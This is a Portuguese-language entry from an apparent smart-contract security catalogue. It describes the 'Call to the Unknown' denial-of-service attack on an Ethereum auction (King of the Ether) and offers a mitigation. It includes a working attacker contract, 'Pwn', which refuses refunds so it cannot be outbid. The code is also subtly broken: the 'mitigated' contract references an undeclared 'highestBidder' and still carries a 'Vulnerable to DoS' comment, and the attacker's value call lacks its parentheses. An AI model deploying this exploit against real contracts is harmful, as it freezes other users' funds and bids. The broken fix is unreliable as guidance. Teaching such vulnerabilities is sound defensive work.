#### Call to the Unknown

##### Descrição

O contrato atacante clama para si um item e em seguida bloqueia qualquer outro de tentar um lance maior impedindo o contrato atacado se desfazer de sua oferta.

##### Exemplo

Neste exemplo (extraído do ataque ao contrato [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html)) o atacante primeiro clama para si a liderença fazendo sua oferta com valor suficiente e então bloqueia transações de todos os demais jogadores que tentarem destron�-lo:

```
contract CallToTheUnknown {
  // Highest bidder becomes the Leader.
  // Vulnerable to DoS attack by an attacker contract which reverts all transactions to it.

    address currentLeader;
    uint highestBid;

    function() payable {
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

contract Pwn {
  // call become leader
  function becomeLeader(address _address, uint bidAmount) {
    _address.call.value(bidAmount);
  }

  // reverts anytime it receives ether, thus cancelling out the change of the leader
  function() payable {
    revert();
  }
}
```

##### Detecção

Oyente-NG

##### Mitigação

Para mitigar esse e outros tipos de ataque semelhantes é melhor favorecer métodos para os clientes sacarem fundos ao invés de enviar os fundos diretamente para eles por meio de funções _send()_ ou _transfer()_:

```
contract CallToTheUnknown {
  // Highest bidder becomes the Leader.
  // Vulnerable to DoS attack by an attacker contract which reverts all transactions to it.

    address currentLeader;
    uint highestBid;
    mapping(address => uint) refunds;

    function bid() payable external {
        require(msg.value >= highestBid);

        if (highestBidder != address(0)) {
            refunds[currentLeader] += highestBid; // record the refund that this user can claim
        }

        currentLeader = msg.sender;
        highestBid = msg.value;
    }

    function withdrawRefund() external {
        uint refund = refunds[msg.sender];
        refunds[msg.sender] = 0;
        msg.sender.transfer(refund);
    }
}
```

##### Fontes

[Loom Network Journal](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-2-730db0aa4834)
[Etherscan](https://etherscan.io)
